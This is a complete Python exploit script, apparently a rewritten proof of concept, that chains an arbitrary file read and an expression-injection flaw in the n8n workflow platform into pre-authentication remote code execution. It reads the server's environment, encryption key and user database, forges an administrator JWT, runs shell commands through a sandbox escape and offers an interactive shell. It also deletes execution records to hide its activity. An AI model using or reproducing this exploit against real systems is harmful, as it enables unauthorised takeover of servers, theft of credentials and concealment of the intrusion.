#!/usr/bin/env python3 """ Ni8mare — n8n Pre-Auth RCE Exploit CVE-2026-21858 (Arbitrary File Read) + CVE-2025-68613 (Expression Injection) Chain: Content-Type Confusion → File Read → JWT Forge → Sandbox Escape → RCE Based on Chocapikk's PoC, rewritten for clarity. """ import argparse import hashlib import json import os import secrets import sqlite3 import string import sys import tempfile import time from base64 import b64encode try: import jwt import requests except ImportError: print("[!] Missing dependencies. Install with:") print(" pip install pyjwt requests") sys.exit(1) BANNER = r""" ███╗ ██╗██╗ █████╗ ███╗ ███╗ █████╗ ██████╗ ███████╗ ████╗ ██║██║██╔══██╗████╗ ████║██╔══██╗██╔══██╗██╔════╝ ██╔██╗ ██║██║╚█████╔╝██╔████╔██║███████║██████╔╝█████╗ ██║╚██╗██║██║██╔══██╗██║╚██╔╝██║██╔══██║██╔══██╗██╔══╝ ██║ ╚████║██║╚█████╔╝██║ ╚═╝ ██║██║ ██║██║ ██║███████╗ ╚═╝ ╚═══╝╚═╝ ╚════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ CVE-2026-21858 + CVE-2025-68613 | Pre-Auth RCE """ # Expression injection payload — escapes n8n sandbox via this.process # this.process → mainModule.require → child_process → execSync RCE_EXPRESSION = ( '={{ (function() {' ' var require = this.process.mainModule.require;' ' var execSync = require("child_process").execSync;' ' return execSync("CMD").toString();' ' })() }}' ) def rand(n=10): return "".join(secrets.choice(string.ascii_lowercase + string.digits) for _ in range(n)) def log(phase, msg, symbol="*"): colors = {"+": "\033[92m", "-": "\033[91m", "*": "\033[94m", "!": "\033[93m"} reset = "\033[0m" color = colors.get(symbol, "") print(f" {color}[{symbol}]{reset} [{phase}] {msg}") # ============================================================ # PHASE 1: Arbitrary File Read (CVE-2026-21858) # ============================================================ # # Bug: n8n's Form/Webhook handler checks req.body.files to # find uploaded files, but doesn't verify Content-Type is # actually multipart/form-data. Sending JSON with a fake # "files" object → n8n reads filepath from attacker input # → arbitrary file read. # ============================================================ def make_file_read_payload(filepath): """Build JSON payload that mimics Formidable's file upload structure.""" return { "data": {}, "files": { f"f-{rand(6)}": { "filepath": filepath, "originalFilename": f"{rand(8)}.bin", "mimetype": "application/octet-stream", "size": secrets.randbelow(90000) + 10000, } }, } def read_file(session, form_url, filepath, timeout=120, retries=2): """Read an arbitrary file from the server via Content-Type confusion.""" for attempt in range(retries): try: resp = session.post( form_url, json=make_file_read_payload(filepath), headers={"Content-Type": "application/json"}, timeout=timeout, ) if resp.ok and resp.content: return resp.content except requests.RequestException as e: if attempt == retries - 1: log("FILE-READ", f"Request failed: {e}", "-") if attempt < retries - 1: time.sleep(2) return None def read_home_dir(session, form_url, home_override=None): """Read /proc/self/environ to find HOME directory.""" if home_override: log("ENVIRON", f"Using provided HOME = {home_override}", "+") return home_override data = read_file(session, form_url, "/proc/self/environ") if not data: return None for var in data.split(b"\x00"): if var.startswith(b"HOME="): return var.decode().split("=", 1)[1] return None def read_encryption_key(session, form_url, home): """Read n8n config file to extract encryption key.""" data = read_file(session, form_url, f"{home}/.n8n/config") if not data: return None try: return json.loads(data).get("encryptionKey") except json.JSONDecodeError: return None def read_database(session, form_url, home): """Read the entire SQLite database file.""" return read_file(session, form_url, f"{home}/.n8n/database.sqlite", timeout=120, retries=3) # ============================================================ # PHASE 2: Extract Admin + Forge JWT # ============================================================ # # From the SQLite database, extract admin user info. # Forge a valid JWT using the encryption key + user data. # n8n signs JWTs with: sha256(encryptionKey[::2]) # Token hash field: base64(sha256(email:passwordHash))[:10] # ============================================================ def extract_admin_from_db(db_bytes): """Write DB to temp file, query admin user.""" tmp = tempfile.NamedTemporaryFile(suffix=".db", delete=False) try: tmp.write(db_bytes) tmp.close() conn = sqlite3.connect(tmp.name) row = conn.execute( "SELECT id, email, password FROM user WHERE role='global:owner' LIMIT 1" ).fetchone() conn.close() if row: return {"id": row[0], "email": row[1], "password_hash": row[2]} finally: os.unlink(tmp.name) return None def forge_jwt(encryption_key, admin): """Forge a valid n8n admin JWT token.""" # n8n derives JWT secret from every other char of encryption key jwt_secret = hashlib.sha256(encryption_key[::2].encode()).hexdigest() # Token includes a hash of email:passwordHash for validation identity = f"{admin['email']}:{admin['password_hash']}" token_hash = b64encode(hashlib.sha256(identity.encode()).digest()).decode()[:10] token = jwt.encode( {"id": admin["id"], "hash": token_hash}, jwt_secret, algorithm="HS256", ) return token # ============================================================ # PHASE 3: Expression Injection → RCE (CVE-2025-68613) # ============================================================ # # With admin JWT, create a workflow containing a malicious # expression. n8n evaluates expressions in a weak sandbox. # this.process is accessible → require("child_process") # → execSync(cmd) → full RCE. # ============================================================ def api(session, base_url, method, path, token, **kwargs): """Make authenticated API request with forged admin token.""" kwargs.setdefault("timeout", 15) kwargs.setdefault("cookies", {"n8n-auth": token}) try: resp = session.request(method, f"{base_url}{path}", **kwargs) return resp if resp.ok else None except requests.RequestException: return None def execute_command(session, base_url, token, command): """Create a workflow with expression injection, execute it, return output.""" trigger_name = f"Trigger-{rand(6)}" rce_name = f"Exec-{rand(6)}" result_field = f"out_{rand(4)}" wf_name = f"wf-{rand(12)}" expression = RCE_EXPRESSION.replace("CMD", command.replace('"', '\\"')) nodes = [ { "parameters": {}, "name": trigger_name, "type": "n8n-nodes-base.manualTrigger", "typeVersion": 1, "position": [secrets.randbelow(400) + 100, secrets.randbelow(400) + 100], "id": f"t-{rand(12)}", }, { "parameters": { "values": {"string": [{"name": result_field, "value": expression}]} }, "name": rce_name, "type": "n8n-nodes-base.set", "typeVersion": 2, "position": [secrets.randbelow(400) + 500, secrets.randbelow(400) + 100], "id": f"r-{rand(12)}", }, ] connections = { trigger_name: {"main": [[{"node": rce_name, "type": "main", "index": 0}]]} } workflow = { "name": wf_name, "active": False, "nodes": nodes, "connections": connections, "settings": {}, } # Step 1: Create workflow resp = api(session, base_url, "POST", "/rest/workflows", token, json=workflow) if not resp: return None wf_id = resp.json().get("data", {}).get("id") if not wf_id: return None # Step 2: Execute workflow run_data = { "workflowData": { "id": wf_id, "name": wf_name, "active": False, "nodes": nodes, "connections": connections, "settings": {}, } } resp = api(session, base_url, "POST", f"/rest/workflows/{wf_id}/run", token, json=run_data, timeout=300) if not resp: api(session, base_url, "DELETE", f"/rest/workflows/{wf_id}", token) return None exec_id = resp.json().get("data", {}).get("executionId") # Step 3: Fetch result result = None if exec_id: for wait in range(6): time.sleep(3) resp = api(session, base_url, "GET", f"/rest/executions/{exec_id}", token) if not resp: continue resp_json = resp.json() status = resp_json.get("data", {}).get("status", "") if status in ("running", "new", "waiting"): continue exec_data = resp_json.get("data", {}).get("data") if not exec_data: continue parsed = json.loads(exec_data) if isinstance(exec_data, str) else exec_data # n8n 1.65 stores data as flat array with index references # RCE output is the last meaningful string in the array if isinstance(parsed, list): # Find "out_xxxx" field → its value is an index → resolve to actual string for item in parsed: if isinstance(item, dict): for k, v in item.items(): if k.startswith("out_") and isinstance(v, str) and v.isdigit(): idx = int(v) if idx < len(parsed) and isinstance(parsed[idx], str): result = parsed[idx].strip() break if result: break elif isinstance(parsed, dict): # Fallback for nested format try: run_data_r = parsed.get("resultData", {}).get("runData", {}) for node_name, runs in run_data_r.items(): if runs and not node_name.startswith("Trigger"): json_out = runs[-1].get("data", {}).get("main", [[]])[0][0].get("json", {}) for k, v in json_out.items(): if k.startswith("out_") and isinstance(v, str): result = v.strip() except (AttributeError, TypeError, KeyError, IndexError): pass if result: break # Step 4: Cleanup — delete the workflow api(session, base_url, "DELETE", f"/rest/workflows/{wf_id}", token) return result def cleanup_executions(session, base_url, token): """Delete recent execution records to prevent DB bloat from file reads.""" js_code = ( "var s = require('sqlite3');\n" "var d = new s.Database(process.env.HOME + '/.n8n/database.sqlite');\n" "d.run(\"DELETE FROM execution_data WHERE executionId IN " "(SELECT id FROM execution_entity WHERE startedAt >= datetime('now', '-1 minutes'))\", function() {\n" " d.run(\"DELETE FROM execution_entity WHERE startedAt >= datetime('now', '-1 minutes')\", function() {\n" " d.run(\"VACUUM\", function() { d.close() });\n" " });\n" "});\n" ) encoded = b64encode(js_code.encode()).decode() execute_command(session, base_url, token, f"echo {encoded} | base64 -d | node") # ============================================================ # Main exploit flows # ============================================================ def check_version(session, base_url): """Check n8n version and whether it's vulnerable.""" try: resp = session.get(f"{base_url}/rest/settings", timeout=10) if resp.ok: version = resp.json().get("data", {}).get("versionCli", "unknown") parts = version.split(".") if len(parts) >= 2: major, minor = int(parts[0]), int(parts[1]) vulnerable = major < 1 or (major == 1 and minor < 121) return version, vulnerable return version, False except Exception: pass return "unknown", False def full_chain(session, base_url, form_url, home_override=None): """ Full exploit chain: File Read → JWT Forge → RCE Returns (token, success) tuple. """ print() print(" ╔══════════════════════════════════════════════════╗") print(" ║ PHASE 1: Arbitrary File Read (CVE-2026-21858) ║") print(" ╚══════════════════════════════════════════════════╝") print() # Step 1: Find HOME directory if not home_override: log("ENVIRON", "Reading /proc/self/environ...") home = read_home_dir(session, form_url, home_override) if not home: log("ENVIRON", "Failed to find HOME directory", "-") return None, False log("ENVIRON", f"HOME = {home}", "+") # Step 2: Read encryption key log("CONFIG", f"Reading {home}/.n8n/config...") enc_key = read_encryption_key(session, form_url, home) if not enc_key: log("CONFIG", "Failed to read encryption key", "-") return None, False log("CONFIG", f"Encryption key = {enc_key[:12]}...", "+") # Step 3: Read database log("DATABASE", f"Reading {home}/.n8n/database.sqlite...") db = read_database(session, form_url, home) if not db: log("DATABASE", "Failed to read database", "-") return None, False log("DATABASE", f"Downloaded {len(db):,} bytes", "+") # Step 4: Extract admin admin = extract_admin_from_db(db) if not admin: log("DATABASE", "No admin user found in database", "-") return None, False log("DATABASE", f"Admin = {admin['email']}", "+") print() print(" ╔══════════════════════════════════════════════╗") print(" ║ PHASE 2: Forge Admin JWT ║") print(" ╚══════════════════════════════════════════════╝") print() # Step 5: Forge JWT token = forge_jwt(enc_key, admin) log("JWT", f"Forged token = {token[:40]}...", "+") # Step 6: Verify token works log("JWT", "Verifying admin access...") resp = api(session, base_url, "GET", "/rest/users", token) if not resp: log("JWT", "Token rejected — admin access denied", "-") return None, False log("JWT", "Admin access GRANTED!", "+") print() print(f" \033[92m[✓] Cookie: n8n-auth={token}\033[0m") print() # Step 7: Cleanup old executions (prevent DB bloat) log("CLEANUP", "Deleting file read execution records...") cleanup_executions(session, base_url, token) log("CLEANUP", "Done", "+") return token, True def cmd_read_file(args): """Mode: Read a single file from the server.""" session = requests.Session() form_url = f"{args.url.rstrip('/')}/{args.form.lstrip('/')}" log("FILE-READ", f"Reading {args.read}...") data = read_file(session, form_url, args.read) if not data: log("FILE-READ", "Failed", "-") return log("FILE-READ", f"{len(data):,} bytes", "+") if args.output: with open(args.output, "wb") as f: f.write(data) log("FILE-READ", f"Saved to {args.output}", "+") else: print() print(data.decode(errors="replace")) def cmd_rce(args): """Mode: Full chain RCE (single command or interactive shell).""" session = requests.Session() base_url = args.url.rstrip("/") form_url = f"{base_url}/{args.form.lstrip('/')}" # Check version version, vuln = check_version(session, base_url) status = "\033[91mVULNERABLE\033[0m" if vuln else "\033[92mPATCHED\033[0m" log("RECON", f"n8n version: {version} — {status}") if not vuln: log("RECON", "Target appears patched. Exploit may fail.", "!") # Skip Phase 1+2 if token provided if getattr(args, 'token', None): token = args.token log("JWT", f"Using provided token = {token[:40]}...", "+") log("JWT", "Verifying admin access...") resp = api(session, base_url, "GET", "/rest/users", token) if not resp: log("JWT", "Token rejected — admin access denied", "-") return log("JWT", "Admin access GRANTED!", "+") else: # Run full chain token, success = full_chain(session, base_url, form_url, home_override=getattr(args, 'home', None)) if not success: log("CHAIN", "Exploit chain failed", "-") return print(" ╔══════════════════════════════════════════════════╗") print(" ║ PHASE 3: Expression Injection (CVE-2025-68613) ║") print(" ╚══════════════════════════════════════════════════╝") print() if args.cmd: # Single command mode log("RCE", f"Executing: {args.cmd}") result = execute_command(session, base_url, token, args.cmd) if result: log("RCE", "Command executed successfully!", "+") print() print(result) else: log("RCE", "Execution failed — no output", "-") else: # Interactive shell mode log("RCE", "Interactive shell (type 'exit' to quit)", "+") print() while True: try: cmd = input(" \033[91mn8n\033[0m> ").strip() except (EOFError, KeyboardInterrupt): print() break if not cmd or cmd == "exit": break result = execute_command(session, base_url, token, cmd) if result: print(result) else: print(" (no output)") def main(): print(BANNER) parser = argparse.ArgumentParser( description="Ni8mare — n8n Pre-Auth RCE (CVE-2026-21858 + CVE-2025-68613)", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: Read a file: %(prog)s http://target:5678 /form/upload --read /etc/passwd Single command RCE: %(prog)s http://target:5678 /form/upload --cmd "id" Interactive shell: %(prog)s http://target:5678 /form/upload Save file to disk: %(prog)s http://target:5678 /form/upload --read /root/.n8n/database.sqlite -o n8n.db """, ) parser.add_argument("url", help="Target base URL (e.g., http://10.10.10.1:5678)") parser.add_argument("form", help="Form trigger path (e.g., /form/vulnerable-form)") parser.add_argument("--read", metavar="PATH", help="Read a file (CVE-2026-21858 only)") parser.add_argument("--cmd", metavar="CMD", help="Execute a single command") parser.add_argument("-o", "--output", metavar="FILE", help="Save file read output to disk") parser.add_argument("--home", metavar="DIR", help="Skip /proc/self/environ, use this as HOME (for Windows: C:/Users/USERNAME)") parser.add_argument("--token", metavar="JWT", help="Skip Phase 1+2, use this JWT token for Phase 3 directly") args = parser.parse_args() log("TARGET", f"{args.url.rstrip('/')}/{args.form.lstrip('/')}") if args.read: cmd_read_file(args) else: cmd_rce(args) print() if __name__ == "__main__": main()